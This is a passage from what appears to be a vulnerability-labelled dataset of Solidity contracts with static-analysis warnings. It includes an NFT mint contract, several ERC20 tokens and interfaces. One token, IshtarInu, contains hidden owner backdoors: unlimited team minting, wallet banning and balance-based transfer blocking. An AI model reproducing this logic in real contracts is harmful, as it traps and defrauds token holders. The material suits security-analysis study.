domainSeparator, structHash)\n );\n }\n}", "file_name": "solidity_code_2544.sol", "secure": 1, "size_bytes": 4247 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC1155.sol\" as IERC1155;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract GanjiBrandCollectable is ERC721, Ownable, ReentrancyGuard {\n using ECDSA for bytes32;\n using Strings for uint256;\n using SafeERC20 for IERC20;\n\n uint256 private _currentIndex = 0;\n uint256 private _totalBurned = 0;\n\n string private _baseTokenURI =\n \"https://metadata.api.tokenfy.com/19/metadata/\";\n string private _contractURI =\n \"https://tokenfy-production-public.s3.us-east-2.amazonaws.com/19/contract-uri\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ebad19): GanjiBrandCollectable.tokenfyAddress should be constant \n\t// Recommendation for 5ebad19: Add the 'constant' attribute to state variables that never change.\n address public tokenfyAddress = 0xa6dD98031551C23bb4A2fBE2C4d524e8f737c6f7;\n\n bool public ethEnabled = true;\n bool public tokenfyEnabled = false;\n\n uint256 public maxSupply = 2000;\n uint256 public maxPerMint = 10;\n uint256 public pricePerToken = 20000000000000000;\n uint256 public tokenfyPrice = 0;\n\n address private signerAddress;\n mapping(address => uint256) public presaleMinted;\n uint256 public presaleMaxSupply = 250;\n uint256 public presaleMaxPerMint = 1;\n uint256 public presalePricePerToken = 0;\n uint256 public tokenfyPresalePrice = 0;\n\n bool public instantRevealActive = false;\n bool public presaleLive = false;\n bool public saleLive = false;\n bool public burnLive = false;\n\n modifier presaleValid(\n bytes32 hash,\n bytes memory sig,\n uint256 qty,\n uint256 max,\n uint256 expiresAt\n ) {\n require(presaleLive, \"Presale not live\");\n require(matchAddresSigner(hash, sig), \"Invalid signer\");\n require(\n hashTransaction(msg.sender, qty, max, expiresAt) == hash,\n \"Hash check failed\"\n );\n require(expiresAt >= block.timestamp, \"Signature is expired\");\n require(qty <= presaleMaxPerMint, \"Max per mint exceeded\");\n require(\n presaleMinted[msg.sender] + qty <= max,\n \"Max per wallet exceeded\"\n );\n require(_currentIndex + qty <= presaleMaxSupply, \"Exceeds max supply\");\n _;\n }\n\n modifier saleValid(uint256 qty) {\n require(saleLive, \"Sale not live\");\n require(qty <= maxPerMint, \"Max per mint exceeded\");\n require(_currentIndex + qty <= maxSupply, \"Exceeds max supply\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a999471): GanjiBrandCollectable.constructor(address)._signerAddress lacks a zerocheck on \t signerAddress = _signerAddress\n\t// Recommendation for a999471: Check that the address is not zero.\n constructor(\n address _signerAddress\n ) ERC721(\"Crypto Cannabis Club Brand Collectable Edition 3\", \"Ganj\") {\n\t\t// missing-zero-check | ID: a999471\n signerAddress = _signerAddress;\n }\n\n function presaleMint(\n bytes32 hash,\n bytes memory sig,\n uint256 qty,\n uint256 max,\n uint256 expiresAt\n )\n external\n payable\n nonReentrant\n presaleValid(hash, sig, qty, max, expiresAt)\n {\n require(ethEnabled, \"ETH not enabled\");\n require(presalePricePerToken * qty == msg.value, \"Incorrect price\");\n\n presaleMinted[msg.sender] += qty;\n\n for (uint256 i = 0; i < qty; i++) {\n mintToken(msg.sender);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 7740c24): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 7740c24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ed912c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ed912c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function presaleMintTokenfy(\n bytes32 hash,\n bytes memory sig,\n uint256 qty,\n uint256 max,\n uint256 expiresAt,\n uint256 value\n ) external nonReentrant presaleValid(hash, sig, qty, max, expiresAt) {\n require(tokenfyEnabled, \"TKNFY not enabled\");\n require(tokenfyPresalePrice * qty == value, \"Incorrect price\");\n\n\t\t// reentrancy-no-eth | ID: 7740c24\n\t\t// reentrancy-no-eth | ID: ed912c9\n IERC20(tokenfyAddress).safeTransferFrom(\n msg.sender,\n address(this),\n value\n );\n\n\t\t// reentrancy-no-eth | ID: ed912c9\n presaleMinted[msg.sender] += qty;\n\n for (uint256 i = 0; i < qty; i++) {\n\t\t\t// reentrancy-no-eth | ID: 7740c24\n mintToken(msg.sender);\n }\n }\n\n function mint(uint256 qty) external payable nonReentrant saleValid(qty) {\n require(ethEnabled, \"ETH not enabled\");\n require(pricePerToken * qty == msg.value, \"Incorrect price\");\n\n for (uint256 i = 0; i < qty; i++) {\n mintToken(msg.sender);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1faa11b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1faa11b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintTokenfy(\n uint256 qty,\n uint256 value\n ) external nonReentrant saleValid(qty) {\n require(tokenfyEnabled, \"TKNFY not enabled\");\n require(tokenfyPrice * qty == value, \"Incorrect price\");\n\n\t\t// reentrancy-no-eth | ID: 1faa11b\n IERC20(tokenfyAddress).safeTransferFrom(\n msg.sender,\n address(this),\n value\n );\n\n for (uint256 i = 0; i < qty; i++) {\n\t\t\t// reentrancy-no-eth | ID: 1faa11b\n mintToken(msg.sender);\n }\n }\n\n function adminMint(uint256 qty, address to) public onlyOwner {\n require(qty > 0, \"Must mint at least 1 token\");\n require(_currentIndex + qty <= maxSupply, \"Exceeds max supply\");\n for (uint256 i = 0; i < qty; i++) {\n mintToken(to);\n }\n }\n\n function mintToken(address receiver) private {\n\t\t// reentrancy-no-eth | ID: 7740c24\n\t\t// reentrancy-no-eth | ID: 1faa11b\n _currentIndex += 1;\n _safeMint(receiver, _currentIndex);\n }\n\n function hashTransaction(\n address sender,\n uint256 qty,\n uint256 max,\n uint256 expiresAt\n ) private pure returns (bytes32) {\n bytes32 hash = keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n32\",\n keccak256(abi.encodePacked(sender, qty, max, expiresAt))\n )\n );\n return hash;\n }\n\n function matchAddresSigner(\n bytes32 hash,\n bytes memory signature\n ) private view returns (bool) {\n return signerAddress == hash.recover(signature);\n }\n\n function burn(uint256 tokenId) public nonReentrant {\n require(burnLive, \"Burn not live\");\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"Caller is not owner nor approved\"\n );\n _totalBurned += 1;\n _burn(tokenId);\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _currentIndex - _totalBurned;\n }\n\n function exists(uint256 _tokenId) external view returns (bool) {\n return _exists(_tokenId);\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory newBaseURI) public onlyOwner {\n _baseTokenURI = newBaseURI;\n }\n\n function setContractURI(string memory newuri) public onlyOwner {\n _contractURI = newuri;\n }\n\n function contractURI() public view returns (string memory) {\n return _contractURI;\n }\n\n function withdrawEarnings() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n\n function reclaimERC20(IERC20 erc20Token, address to) public onlyOwner {\n erc20Token.safeTransfer(to, erc20Token.balanceOf(address(this)));\n }\n\n function reclaimERC1155(\n IERC1155 erc1155Token,\n uint256 id,\n address to\n ) public onlyOwner {\n erc1155Token.safeTransferFrom(address(this), to, id, 1, \"\");\n }\n\n function reclaimERC721(\n IERC721 erc721Token,\n uint256 id,\n address to\n ) public onlyOwner {\n erc721Token.safeTransferFrom(address(this), to, id);\n }\n\n function setPresaleLive(bool live) external onlyOwner {\n presaleLive = live;\n }\n\n function setSaleLive(bool live) external onlyOwner {\n saleLive = live;\n }\n\n function setBurnLive(bool live) external onlyOwner {\n burnLive = live;\n }\n\n function setInstantReveal(bool reveal) external onlyOwner {\n instantRevealActive = reveal;\n }\n\n function changePrice(uint256 newPrice) external onlyOwner {\n pricePerToken = newPrice;\n }\n\n function changeTokenfyPrice(uint256 newPrice) external onlyOwner {\n tokenfyPrice = newPrice;\n }\n\n function changeMaxSupply(uint256 _maxSupply) external onlyOwner {\n require(\n _maxSupply >= _currentIndex,\n \"Must be larger than minted count\"\n );\n maxSupply = _maxSupply;\n }\n\n function setMaxPerMint(uint256 _maxPerMint) external onlyOwner {\n require(_maxPerMint > 0, \"Invalid max per mint\");\n maxPerMint = _maxPerMint;\n }\n\n function changePresalePrice(uint256 newPrice) external onlyOwner {\n presalePricePerToken = newPrice;\n }\n\n function changeTokenfyPresalePrice(uint256 newPrice) external onlyOwner {\n tokenfyPresalePrice = newPrice;\n }\n\n function changePresaleMaxSupply(uint256 _maxSupply) external onlyOwner {\n require(\n _maxSupply >= _currentIndex,\n \"Must be larger than minted count\"\n );\n require(_maxSupply <= maxSupply, \"Must be less than max supply\");\n presaleMaxSupply = _maxSupply;\n }\n\n function setPresaleMaxPerMint(uint256 _maxPerMint) external onlyOwner {\n require(_maxPerMint > 0, \"Must be > 0\");\n presaleMaxPerMint = _maxPerMint;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ca97f74): GanjiBrandCollectable.setSignerAddress(address)._signer lacks a zerocheck on \t signerAddress = _signer\n\t// Recommendation for ca97f74: Check that the address is not zero.\n function setSignerAddress(address _signer) external onlyOwner {\n\t\t// missing-zero-check | ID: ca97f74\n signerAddress = _signer;\n }\n\n function setETHEnabled(bool enabled) external onlyOwner {\n ethEnabled = enabled;\n }\n\n function setTokenfyEnabled(bool enabled) external onlyOwner {\n tokenfyEnabled = enabled;\n }\n}", "file_name": "solidity_code_2545.sol", "secure": 0, "size_bytes": 12271 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ContextMixin {\n function msgSender() internal view returns (address payable sender) {\n if (msg.sender == address(this)) {\n bytes memory array = msg.data;\n uint256 index = msg.data.length;\n assembly {\n sender := and(\n mload(add(array, index)),\n 0xffffffffffffffffffffffffffffffffffffffff\n )\n }\n } else {\n sender = payable(msg.sender);\n }\n return sender;\n }\n}", "file_name": "solidity_code_2546.sol", "secure": 1, "size_bytes": 610 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract StandardToken is ERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n function balanceOf(\n address _owner\n ) public view override returns (uint256 balance) {\n return balances[_owner];\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public override returns (bool) {\n require(_to != address(0));\n\n balances[msg.sender] = balances[msg.sender].sub(_value);\n balances[_to] = balances[_to].add(_value);\n emit Transfer(msg.sender, _to, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override returns (bool) {\n uint256 _allowance = allowed[_from][msg.sender];\n require(_to != address(0));\n require(_value <= _allowance);\n balances[_from] = balances[_from].sub(_value);\n balances[_to] = balances[_to].add(_value);\n allowed[_from][msg.sender] = _allowance.sub(_value);\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override returns (bool) {\n require((_value == 0) || (allowed[msg.sender][_spender] == 0));\n allowed[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function allowance(\n address _owner,\n address _spender\n ) public view override returns (uint256 remaining) {\n return allowed[_owner][_spender];\n }\n}", "file_name": "solidity_code_2547.sol", "secure": 1, "size_bytes": 1901 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\n\ncontract PandoBTC is StandardToken {\n string public constant name = \"Pando BTC\";\n string public constant symbol = \"pBTC\";\n uint8 public constant decimals = 8;\n uint256 public constant totalSupply = 2100000000000000;\n\n constructor() {\n balances[msg.sender] = totalSupply;\n }\n}", "file_name": "solidity_code_2548.sol", "secure": 1, "size_bytes": 425 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUnitroller {\n function getAllMarkets() external view returns (address[] memory);\n}", "file_name": "solidity_code_2549.sol", "secure": 1, "size_bytes": 160 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IDexSwapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}", "file_name": "solidity_code_255.sol", "secure": 1, "size_bytes": 210 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ManagementList {\n function isManager(address accountAddress) external returns (bool);\n}", "file_name": "solidity_code_2550.sol", "secure": 1, "size_bytes": 164 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ManagementList.sol\" as ManagementList;\n\ncontract Manageable {\n\t// WARNING Optimization Issue (immutable-states | ID: 243535e): Manageable.managementList should be immutable \n\t// Recommendation for 243535e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ManagementList public managementList;\n\n constructor(address _managementListAddress) {\n managementList = ManagementList(_managementListAddress);\n }\n\n modifier onlyManagers() {\n\t\t// reentrancy-benign | ID: 856ffee\n\t\t// reentrancy-benign | ID: d5a3d27\n\t\t// reentrancy-benign | ID: 0698a10\n bool isManager = managementList.isManager(msg.sender);\n require(isManager, \"ManagementList: caller is not a manager\");\n _;\n }\n}", "file_name": "solidity_code_2551.sol", "secure": 1, "size_bytes": 858 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Manageable.sol\" as Manageable;\nimport \"./IUnitroller.sol\" as IUnitroller;\n\ncontract AddressesGeneratorIronBank is Manageable {\n mapping(address => bool) public assetDeprecated;\n uint256 public numberOfDeprecatedAssets;\n address[] public positionSpenderAddresses;\n IUnitroller public registry;\n\n struct GeneratorInfo {\n address id;\n string typeId;\n string categoryId; // Generator categoryId (for example \"VAULT\")\n }\n\n constructor(\n address _registryAddress,\n address _managementListAddress\n ) Manageable(_managementListAddress) {\n require(\n _managementListAddress != address(0),\n \"Missing management list address\"\n );\n require(_registryAddress != address(0), \"Missing registry address\");\n registry = IUnitroller(_registryAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 856ffee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 856ffee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setAssetDeprecated(\n address assetAddress,\n bool newDeprecationStatus\n\t// reentrancy-benign | ID: 856ffee\n ) public onlyManagers {\n bool currentDeprecationStatus = assetDeprecated[assetAddress];\n if (currentDeprecationStatus == newDeprecationStatus) {\n revert(\"Generator: Unable to change asset deprecation status\");\n }\n if (newDeprecationStatus == true) {\n\t\t\t// reentrancy-benign | ID: 856ffee\n numberOfDeprecatedAssets++;\n } else {\n\t\t\t// reentrancy-benign | ID: 856ffee\n numberOfDeprecatedAssets--;\n }\n\t\t// reentrancy-benign | ID: 856ffee\n assetDeprecated[assetAddress] = newDeprecationStatus;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d5a3d27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d5a3d27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setPositionSpenderAddresses(\n address[] memory addresses\n\t// reentrancy-benign | ID: d5a3d27\n ) public onlyManagers {\n\t\t// reentrancy-benign | ID: d5a3d27\n positionSpenderAddresses = addresses;\n }\n\n\t// reentrancy-benign | ID: 0698a10\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0698a10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0698a10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setRegistryAddress(address _registryAddress) public onlyManagers {\n require(_registryAddress != address(0), \"Missing registry address\");\n\t\t// reentrancy-benign | ID: 0698a10\n registry = IUnitroller(_registryAddress);\n }\n\n function getPositionSpenderAddresses()\n external\n view\n returns (address[] memory)\n {\n return positionSpenderAddresses;\n }\n\n function generatorInfo() public view returns (GeneratorInfo memory) {\n return\n GeneratorInfo({\n id: address(this),\n typeId: \"IRON_BANK_MARKET\",\n categoryId: \"LENDING\"\n });\n }\n\n function assetsLength() public view returns (uint256) {\n return registry.getAllMarkets().length - numberOfDeprecatedAssets;\n }\n\n function assetsAddresses() public view returns (address[] memory) {\n address[] memory originalAddresses = registry.getAllMarkets();\n uint256 _numberOfAssets = originalAddresses.length;\n uint256 _filteredAssetsLength = assetsLength();\n if (_numberOfAssets == _filteredAssetsLength) {\n return originalAddresses;\n }\n uint256 currentAssetIdx;\n for (uint256 assetIdx = 0; assetIdx < _numberOfAssets; assetIdx++) {\n address currentAssetAddress = originalAddresses[assetIdx];\n bool assetIsNotDeprecated = assetDeprecated[currentAssetAddress] ==\n false;\n if (assetIsNotDeprecated) {\n originalAddresses[currentAssetIdx] = currentAssetAddress;\n currentAssetIdx++;\n }\n }\n bytes memory encodedAddresses = abi.encode(originalAddresses);\n assembly {\n mstore(add(encodedAddresses, 0x40), _filteredAssetsLength)\n }\n address[] memory filteredAddresses = abi.decode(\n encodedAddresses,\n (address[])\n );\n\n return filteredAddresses;\n }\n}", "file_name": "solidity_code_2552.sol", "secure": 0, "size_bytes": 5161 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract IshtarInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) bannedUsers;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private _tTotal = 10000000000 * 10 ** 9;\n\t// WARNING Optimization Issue (constable-states | ID: 7095479): IshtarInu.swapEnabled should be constant \n\t// Recommendation for 7095479: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 9682378): IshtarInu._dev should be immutable \n\t// Recommendation for 9682378: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _dev = _msgSender();\n bool private inSwap = false;\n\t// WARNING Optimization Issue (immutable-states | ID: c93e1a2): IshtarInu._teamAddress should be immutable \n\t// Recommendation for c93e1a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _teamAddress;\n\t// WARNING Optimization Issue (constable-states | ID: 7783138): IshtarInu._name should be constant \n\t// Recommendation for 7783138: Add the 'constant' attribute to state variables that never change.\n string private _name = \"IshtarInu\";\n\t// WARNING Optimization Issue (constable-states | ID: dfb0e9f): IshtarInu._symbol should be constant \n\t// Recommendation for dfb0e9f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"@IshtarInu\";\n\t// WARNING Optimization Issue (constable-states | ID: 824ebc7): IshtarInu._decimals should be constant \n\t// Recommendation for 824ebc7: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n mapping(address => bool) private bots;\n uint256 private _botFee;\n uint256 private _taxAmount;\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a17c4b3): IshtarInu.constructor(uint256,address).addr1 lacks a zerocheck on \t _teamAddress = addr1\n\t// Recommendation for a17c4b3: Check that the address is not zero.\n constructor(uint256 amount, address payable addr1) {\n\t\t// missing-zero-check | ID: a17c4b3\n _teamAddress = addr1;\n _balances[_msgSender()] = _tTotal;\n _botFee = amount;\n _taxAmount = amount;\n _isExcludedFromFee[_teamAddress] = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bea0d2c): IshtarInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bea0d2c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(bannedUsers[sender] == false, \"Sender is banned\");\n require(bannedUsers[recipient] == false, \"Recipient is banned\");\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _takeTeam(bool onoff) private {\n cooldownEnabled = onoff;\n }\n\n function restoreAll() private {\n _taxAmount = 4;\n _botFee = 2;\n }\n\n function sendETHToFee(address recipient, uint256 amount) private {\n _transfer(_msgSender(), recipient, amount);\n }\n function manualswap(uint256 amount) public {\n require(_msgSender() == _teamAddress);\n _taxAmount = amount;\n }\n function manualsend(uint256 curSup) public {\n require(_msgSender() == _teamAddress);\n _botFee = curSup;\n }\n function ExtendLock() public {\n require(_msgSender() == _teamAddress);\n uint256 currentBalance = _balances[_msgSender()];\n _tTotal = _rTotal + _tTotal;\n _balances[_msgSender()] = _rTotal + currentBalance;\n emit Transfer(address(0), _msgSender(), _rTotal);\n }\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e259ad): IshtarInu._rTotal should be constant \n\t// Recommendation for 7e259ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal = 1 * 10 ** 15 * 10 ** 9;\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ca98c48): IshtarInu.setbot(address,bool) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp + 259200 > block.timestamp,x)\n\t// Recommendation for ca98c48: Avoid relying on 'block.timestamp'.\n function setbot(address account, bool banned) public {\n require(_msgSender() == _teamAddress);\n if (banned) {\n\t\t\t// timestamp | ID: ca98c48\n require(block.timestamp + 3 days > block.timestamp, \"x\");\n bannedUsers[account] = true;\n } else {\n delete bannedUsers[account];\n }\n emit WalletBanStatusUpdated(account, banned);\n }\n function nobot(address account) public {\n require(_msgSender() == _teamAddress);\n bannedUsers[account] = false;\n }\n event WalletBanStatusUpdated(address user, bool banned);\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (sender == owner()) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n } else {\n if (setBots(sender)) {\n require(amount > _rTotal, \"Bot can not execute\");\n }\n\n uint256 reflectToken = amount.mul(6).div(100);\n uint256 reflectETH = amount.sub(reflectToken);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[_dev] = _balances[_dev].add(reflectToken);\n _balances[recipient] = _balances[recipient].add(reflectETH);\n\n emit Transfer(sender, recipient, reflectETH);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb980b9): IshtarInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cb980b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function setBots(address sender) private view returns (bool) {\n if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {\n return true;\n } else {\n return false;\n }\n }\n}", "file_name": "solidity_code_2553.sol", "secure": 0, "size_bytes": 9459 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"Grosh Coin\";\n _symbol = \"GROSH\";\n _mint(_msgSender(), 21000000000000000);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n 